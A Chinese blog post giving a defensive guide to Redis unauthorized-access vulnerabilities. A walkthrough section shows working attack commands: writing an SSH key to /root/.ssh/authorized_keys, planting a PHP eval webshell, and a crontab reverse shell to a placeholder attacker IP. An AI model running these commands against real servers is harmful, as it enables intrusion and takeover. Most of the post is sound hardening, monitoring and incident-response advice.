三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

Redis未授权访问漏洞:从原理到实战防护指南

Redis未授权访问漏洞:从原理到实战防护指南

1. 项目概述:当Redis门户大开时,我们面临什么?

最近在排查一批线上服务器的安全基线时,我又一次撞见了那个熟悉又令人头疼的身影——Redis未授权访问。这绝不是个新漏洞,但它的“生命力”顽强得惊人,几乎每隔一段时间就能在内部扫描或外部渗透测试报告中看到它。简单来说,这就是因为Redis服务在安装后默认没有开启任何身份验证(requirepass),并且默认监听所有网络接口(bind 0.0.0.0),导致任何能通过网络连接到该Redis端口(默认6379)的人,都可以直接执行命令,就像进了自己家后院一样。

这带来的风险远不止“数据被看光”那么简单。攻击者可以利用Redis内置的命令,轻松实现从信息窃取到服务器完全沦陷的跨越。我见过最典型的案例是,攻击者通过未授权访问写入一个SSH公钥到目标服务器的/root/.ssh/authorized_keys文件,从而直接获取root权限的shell。整个过程可能只需要几分钟,而修复它带来的后果却需要数倍的时间。因此,无论你是运维工程师、开发人员还是安全负责人,彻底理解这个漏洞的利用原理并掌握一套行之有效的防护组合拳,都是一项必备的生存技能。这篇指南,我就结合多次应急响应和加固的经验,从攻击者视角拆解利用手法,再从防御者角度给出从基础到进阶的完整防护方案,目标是让你管理的Redis服务真正地“固若金汤”。

2. 漏洞原理深度剖析:为什么Redis默认如此“开放”?

要有效防护,必须先透彻理解漏洞的根源。Redis的设计哲学在早期更侧重于性能和易用性,这在某种程度上牺牲了默认的安全性。

2.1 默认配置的“原罪”

当你通过apt-get install redis-server或下载源码包编译安装后,查看默认的redis.conf配置文件,会发现两个关键设置:

  1. bind 127.0.0.1被注释或设置为bind 0.0.0.0:这意味着Redis服务会监听服务器上所有网络接口的6379端口。如果服务器有公网IP,那么这个端口就直接暴露在互联网上。很多开发者在测试时为了方便,会直接修改为0.0.0.0,上线后却忘了改回来。
  2. requirepass foobared被注释:这一行是设置访问密码的,默认的示例密码foobared本身是弱密码,且整行被注释掉,意味着根本不需要任何密码就可以连接并执行所有命令。

这种“开箱即用”的配置,在开发测试环境或许方便,但一旦部署到具有公网访问能力的服务器上,就是一场灾难的序幕。攻击者无需任何用户名和密码,使用一个简单的redis-cli -h <目标IP>就能长驱直入。

2.2 攻击面延伸:不止于数据泄露

很多人认为这个漏洞只是导致缓存数据泄露,风险可控。这种想法非常危险。Redis提供了丰富的命令,攻击者可以借此进行多种恶意操作:

  • 信息泄露:使用INFO命令可以获取Redis服务的详细配置、服务器信息、内存使用情况等,为后续攻击提供情报。
  • 数据清空或篡改:使用FLUSHALL可以清空所有数据库,造成业务中断。
  • 关键操作CONFIG SET命令可以动态修改Redis配置,这常被用作进一步攻击的跳板。

而最具破坏性的利用方式,是结合Redis的数据持久化机制,向服务器文件系统写入恶意文件,从而获得远程命令执行(RCE)的能力。这才是未授权访问漏洞被定为“高危”的核心原因。

注意:即使你将Redis绑定到127.0.0.1,也不意味着绝对安全。如果服务器上存在其他Web应用漏洞(如SSRF),攻击者仍可能以应用服务器为跳板,访问本地的Redis服务,完成攻击链。

3. 漏洞利用实战演示:攻击者会怎么做?

了解攻击者的手法,才能更好地进行防御。下面我模拟一个攻击场景,假设目标IP为10.0.0.5,Redis运行在默认的6379端口且未授权访问。

3.1 信息收集与初步探测

首先,攻击者会进行最基本的连接和信息探测。

# 使用redis-cli直接连接 redis-cli -h 10.0.0.5 # 连接成功后,提示符会变成 `10.0.0.5:6379>`,此时可以执行任意命令 # 获取服务器和Redis的详细信息 INFO # 查看所有键 KEYS * # 尝试切换数据库(默认16个,编号0-15) SELECT 1

通过INFO命令的输出,攻击者可以知道Redis版本、操作系统内核、运行模式、数据目录(dir)和持久化文件名(dbfilename,默认dump.rdb)等关键信息。这些是后续写入文件攻击的基础。

3.2 写入SSH公钥获取服务器权限

这是最经典、最直接的利用方式,前提是目标服务器以root权限运行Redis,并且/root/.ssh目录存在或可创建。

  1. 在攻击机生成SSH密钥对(如果还没有的话):
    ssh-keygen -t rsa # 默认会生成 id_rsa(私钥)和 id_rsa.pub(公钥)
  2. 将公钥内容格式化:需要在公钥内容前后添加空行,以确保作为Redis的值写入时格式正确。
    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > pubkey.txt
  3. 通过未授权Redis写入公钥文件
    # 连接目标Redis redis-cli -h 10.0.0.5 flushall # 清空数据,可选,为了操作干净 cat pubkey.txt | redis-cli -h 10.0.0.5 -x set crack_key # 这条命令将pubkey.txt的内容作为值,设置到键名为'crack_key'的键中 # 配置Redis的数据持久化路径为/root/.ssh redis-cli -h 10.0.0.5 config set dir /root/.ssh # 配置持久化文件名为authorized_keys redis-cli -h 10.0.0.5 config set dbfilename authorized_keys # 执行保存操作,将内存数据(包含我们的公钥)写入到/root/.ssh/authorized_keys文件 redis-cli -h 10.0.0.5 save
  4. 利用私钥登录服务器
    ssh -i ~/.ssh/id_rsa root@10.0.0.5
    如果成功,攻击者就获得了服务器的root权限。

3.3 写入WebShell或Crontab定时任务

如果目标服务器是Web服务器,攻击者可能会尝试写入WebShell。

  1. 写入WebShell
    # 假设已知Web根目录为 /var/www/html redis-cli -h 10.0.0.5 config set dir /var/www/html redis-cli -h 10.0.0.5 config set dbfilename shell.php redis-cli -h 10.0.0.5 set webshell "<?php @eval($_POST['cmd']);?>" redis-cli -h 10.0.0.5 save
    然后访问http://10.0.0.5/shell.php即可用蚁剑等工具连接。
  2. 写入Crontab定时任务:这种方法更隐蔽,用于反弹Shell或持久化控制。
    # 先获取当前crontab内容(如果有的话),避免覆盖 redis-cli -h 10.0.0.5 config set dir /var/spool/cron/ redis-cli -h 10.0.0.5 config set dbfilename root # 写入一个每分钟向攻击机反弹shell的任务 redis-cli -h 10.0.0.5 set cron "\n* * * * * bash -i >& /dev/tcp/攻击机IP/端口 0>&1\n" redis-cli -h 10.0.0.5 save

实操心得:在实际渗透测试中,写入文件的成功率受限于Redis进程的运行权限(是否root)、目标目录是否存在且可写。因此,INFO命令获取的dir信息至关重要。攻击者往往会先尝试写入/tmp这类通用可写目录,再尝试提权或移动文件。

4. 多层次防护实战指南:从边界到内核

单一的防护措施很容易被绕过,我们需要构建一个纵深防御体系。下面从外到内,层层加固。

4.1 第一道防线:网络访问控制

这是最有效、最直接的防护手段,原则是“最小化暴露”。

  1. 修改绑定IP(bind):绝对不要让Redis监听在0.0.0.0
    • 仅本地访问:如果只有本机应用需要连接,修改redis.conf
      bind 127.0.0.1
    • 内网访问:如果需要在服务器集群内通信,绑定到内网IP:
      bind 172.16.1.100 127.0.0.1 # 可以绑定多个IP
    • 修改后必须重启Redis服务systemctl restart redisservice redis-server restart
  2. 配置防火墙规则:即使配置了bind,也应用防火墙做二次确认。
    • 使用iptables(传统)
      # 只允许特定IP段(如172.16.1.0/24)访问6379端口 iptables -A INPUT -s 172.16.1.0/24 -p tcp --dport 6379 -j ACCEPT iptables -A INPUT -p tcp --dport 6379 -j DROP # 保存规则(取决于系统) iptables-save > /etc/iptables/rules.v4
    • 使用firewalld(CentOS/RHEL 7+)
      firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="172.16.1.0/24" port protocol="tcp" port="6379" accept' firewall-cmd --permanent --remove-port=6379/tcp # 移除默认的端口开放(如果有) firewall-cmd --reload
  3. 利用云平台安全组:如果你使用的是阿里云、腾讯云等云服务器,务必在安全组规则中设置,仅允许特定的源IP(如你的办公网络IP、跳板机IP、应用服务器IP)访问6379端口。千万不要设置“0.0.0.0/0”

4.2 第二道防线:身份验证与强密码

当网络层控制失效(如内部人员恶意连接、通过其他漏洞跳转)时,密码认证是关键屏障。

  1. 启用并设置复杂密码:编辑redis.conf,找到requirepass行。
    # 取消注释,并将‘foobared’改为一个强密码 requirepass YourSuperStrongPassw0rd!@#2023
    • 密码强度建议:长度大于16位,混合大小写字母、数字和特殊符号。避免使用常见词汇、日期或与业务相关的简单信息。
    • 重启服务生效
  2. 连接时使用密码
    # 方式一:连接时通过-a参数指定(密码会出现在进程列表,不安全) redis-cli -h 10.0.0.5 -a YourSuperStrongPassw0rd!@#2023 # 方式二:先连接,再使用AUTH命令认证(更安全) redis-cli -h 10.0.0.5 10.0.0.5:6379> AUTH YourSuperStrongPassw0rd!@#2023
  3. 为不同客户端设置不同权限(Redis 6.0+):Redis 6.0引入了ACL(访问控制列表),可以实现更细粒度的控制。
    # 在redis.conf中配置,或连接后使用ACL SETUSER命令 # 创建一个仅对‘appdb’数据库有读写权限的用户‘appuser’ ACL SETUSER appuser on >appuser_password ~appdb:* +@all -@dangerous # 创建一个只有读权限的监控用户‘monitoruser’ ACL SETUSER monitoruser on >monitor_password ~* +@read -@admin +ping +info

    注意-@dangerous移除了如FLUSHALLCONFIGDEBUG等危险命令的执行权限,极大地提升了安全性。

4.3 第三道防线:服务运行与配置加固

  1. 以非root用户运行Redis:这是防止攻击者通过Redis直接写入/root/.ssh等关键目录的最有效方法。
    • redis.conf中配置:
      user redis # 使用专门的redis用户和用户组
    • 确保数据目录/var/lib/redis等的属主和权限正确:
      chown -R redis:redis /var/lib/redis chmod 700 /var/lib/redis
  2. 重命名或禁用危险命令:即使有密码,也应防范密码泄露后的风险。可以禁用或重命名高危命令。
    # 在redis.conf中添加 rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" rename-command DEBUG "" # 或者重命名为一个复杂的、只有管理员知道的字符串 rename-command CONFIG "b840fc02d524045429941cc15f59e41cb7be6c52"
    警告:重命名命令后,你的运维工具和脚本也需要使用新命令名,请务必做好记录和测试。
  3. 启用保护模式:Redis的protected-mode是一个重要的安全网。当Redis未设置密码且绑定IP不是127.0.0.1时,保护模式会拒绝外部连接。确保其开启:
    protected-mode yes

4.4 第四道防线:加密通信与监控审计

  1. 启用TLS加密(Redis 6.0+):防止通信被窃听。需要在redis.conf中配置证书和密钥文件。
    port 0 # 禁用普通端口 tls-port 6379 tls-cert-file /path/to/redis.crt tls-key-file /path/to/redis.key tls-ca-cert-file /path/to/ca.crt # 如果需要客户端证书验证
    客户端连接时需要使用redis-cli --tls等参数。
  2. 启用日志记录与监控
    • redis.conf中设置loglevel noticewarning,并指定logfile路径。
    • 使用slowlog记录慢查询,有时异常命令(如尝试写入文件)会出现在慢日志中。
    • 对接监控系统(如Prometheus + Grafana),监控Redis的连接数、命令执行频率异常(如短时间内大量CONFIGSET命令)。
  3. 定期安全扫描与配置检查
    • 使用redis-cli --intrinsic-latency等工具进行基准测试,同时检查配置。
    • 定期使用Nessus、OpenVAS或商业漏洞扫描器对服务器端口进行扫描,确保6379端口没有意外暴露。
    • 编写脚本定期检查redis.conf文件的bindrequirepassprotected-mode等关键配置项是否被篡改。

5. 应急响应与漏洞排查:当警报响起时

即使防护再完善,也需要有应急预案。假设监控告警显示有异常IP尝试连接Redis端口,或者发现服务器上存在可疑的authorized_keys文件,你应该怎么做?

5.1 立即隔离与遏制

  1. 切断网络访问:最快的方式是修改服务器防火墙或云安全组,立即封禁可疑源IP,甚至临时关闭6379端口的对外访问。
    iptables -A INPUT -s <可疑IP> -j DROP
  2. 停止Redis服务:如果怀疑已入侵,立即停止服务以防进一步破坏。
    systemctl stop redis
  3. 备份现场数据:在停止服务前,如果业务允许,可以考虑将内存数据持久化到新的文件,并备份当前的dump.rdbappendonly.aof文件,以供后续取证分析。但要注意,这可能覆盖攻击痕迹。

5.2 入侵排查与取证

  1. 检查Redis历史命令:如果开启了redis-rdb-tools或类似工具的监控,可以分析历史命令。也可以查看redis.conf中是否配置了rename-command,检查是否有异常的重命名命令被执行。
  2. 检查服务器文件
    • 重点检查/root/.ssh/authorized_keys/var/spool/cron/目录下的用户cron文件,Web目录下的可疑.php.jsp文件。
    • 检查文件时间:使用ls -la查看可疑文件的创建/修改时间,与Redis日志中的异常连接时间进行对比。
    • 检查进程与网络连接:使用netstat -antp | grep 6379查看当前及近期的Redis连接情况。使用ps aux | grep redis查看Redis进程的运行用户。
  3. 分析Redis数据文件:使用redis-rdb-tools解析dump.rdb文件,查看是否存在异常的键值对,特别是含有ssh-rsa<?phpcrontab等内容的键。
    rdb --command json dump.rdb > dump.json cat dump.json | grep -E "(ssh-rsa|eval|bash -i)"

5.3 漏洞修复与恢复

  1. 根据前述防护指南,重新加固Redis配置
    • 修改bind
    • 设置强requirepass或配置ACL。
    • 以非root用户启动。
    • 重命名危险命令。
  2. 清除后门:删除攻击者添加的SSH公钥、WebShell、Crontab任务等。
  3. 重启服务并验证:使用加固后的配置重启Redis服务,并尝试从非授权IP、无密码等方式连接,验证防护是否生效。
  4. 全面扫描:对服务器进行全面的漏洞扫描和木马查杀,确保没有其他遗留后门。

6. 常见配置误区与疑难问题排查

在实际运维中,即使按照指南操作,也可能遇到各种“坑”。这里记录几个我踩过或常见的问题。

6.1 配置改了,为什么漏洞还在?

问题现象:修改了redis.conf并重启了服务,但扫描器依然报告存在未授权访问漏洞。

  • 可能原因1:配置文件未生效。检查Redis进程实际加载的配置文件路径。
    ps aux | grep redis # 查看命令行列出的配置文件路径,如 `redis-server /etc/redis/redis.conf` # 确认你修改的文件就是这个路径下的文件。
  • 可能原因2:存在多个Redis实例。服务器上可能通过不同端口(如6379, 6380)运行了多个实例,而你只修改了一个实例的配置。使用netstat -tlnp | grep redisss -tlnp | grep 6379查看所有监听端口。
  • 可能原因3:重启服务失败。使用systemctl status redis查看服务状态,确认是否是active (running)。检查日志journalctl -u redis或Redis的logfile,看是否有配置错误导致启动失败(例如密码格式有特殊字符未转义)。
  • 可能原因4:配置项拼写错误或位置不对。确保requirepassbind等指令没有写错,且没有被后面的配置覆盖。

6.2 设置了密码,但应用连不上了

问题现象:给Redis加了密码后,业务应用开始报连接超时或认证失败。

  • 排查步骤
    1. 检查应用配置:确认应用连接Redis的配置文件(如Spring Boot的application.yml, PHP的config.php)中的密码字段已更新为新的强密码。
    2. 检查密码特殊字符:如果密码包含!@#$等特殊字符,在URL或命令行中可能需要转义。在配置文件中,用引号包裹密码通常是最安全的。
    3. 使用redis-cli手动测试
      redis-cli -h <redis_ip> -a ‘YourPasswordWithSpecialChars!‘ # 或者 redis-cli -h <redis_ip> auth YourPasswordWithSpecialChars!
      确认密码本身可以连通。
    4. 查看Redis日志:连接失败时,Redis日志中可能会有AUTH failed之类的记录,可以帮助定位是哪个IP的应用在尝试错误密码。

6.3 绑定到127.0.0.1后,其他服务器无法访问

问题现象:为了安全,将bind改为了127.0.0.1,但其他需要调用Redis的应用服务器无法连接了。

  • 解决方案:这是预期行为。bind 127.0.0.1意味着只接受本机连接。如果其他服务器需要访问,你有几个选择:
    1. 改为绑定内网IPbind 172.16.1.100(服务器的内网IP)。这是最常用的方式。
    2. 通过SSH隧道或代理:让应用服务器通过本机代理访问,避免Redis直接暴露在内网。复杂度较高。
    3. 使用Redis哨兵或集群模式:在架构层面,让应用连接本地的Redis代理或哨兵,由它们去连接真正的Redis主节点。这更适用于大型生产环境。核心原则:在满足业务需求的前提下,尽可能缩小Redis的监听范围。

6.4 防护配置检查清单

为了便于自查,你可以定期运行以下命令或编写脚本检查关键配置:

检查项安全配置示例/命令风险配置示例
绑定地址bind 172.16.1.100 127.0.0.1bind 0.0.0.0# bind 127.0.0.1(注释)
访问密码requirepass 强密码# requirepass foobared(注释)或弱密码
保护模式protected-mode yesprotected-mode no
运行用户user redis(在systemd服务文件中)以root用户运行
危险命令rename-command CONFIG “”未重命名或禁用CONFIG,FLUSHALL
网络访问防火墙/安全组仅允许特定IP访问6379端口对0.0.0.0/0开放

Redis未授权访问漏洞的防护,本质上是一场关于“默认安全”意识的较量。它提醒我们,任何面向网络的服务,在部署上线前,都必须经过严格的安全配置审查。没有“银弹”,最有效的方法永远是多层防御:网络层隔离、强身份认证、最小权限运行和持续的安全监控。把这个流程作为服务器上线清单的必选项,才能从根本上避免让承载核心数据的Redis,成为整个系统中最脆弱的那一环。

← 返回列表